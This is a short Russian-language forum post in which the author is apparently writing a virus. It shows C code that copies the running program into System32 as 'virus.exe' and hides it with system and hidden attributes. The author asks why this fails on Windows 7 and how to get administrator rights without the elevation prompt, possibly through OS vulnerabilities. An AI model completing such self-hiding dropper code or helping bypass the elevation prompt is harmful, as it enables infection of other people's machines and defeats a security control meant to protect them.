Вообщем в XP пашет все нормально... решил проверить на семерке и тут облом... Задача: проверить существует ли файл, если НЕТ то скопировать самого себя и поставить атрибуты на новую копию. вот как пробую Code: if(access("C:\\Windows\\System32\\virus.exe",0)){ CopyFile(__argv[0],"C:\\WINDOWS\\system32\\virus.exe", FALSE); WinExec("C:\\Windows\\System32\\attrib.exe +h +s C:\\Windows\\System32\\virus.exe",SW_HIDE); }
Дебагером клацал... код выполняется(дело даже не столько в access() ), но файл не копируется (в xp все работало нормально вроде)
От админа не пробовал(чуть позже попробую) как можно запускать его от админа?, не выбирая при этом 'запуск от имени администратора' я так понимаю что нужно будет использовать только уязвимости самой ОС ??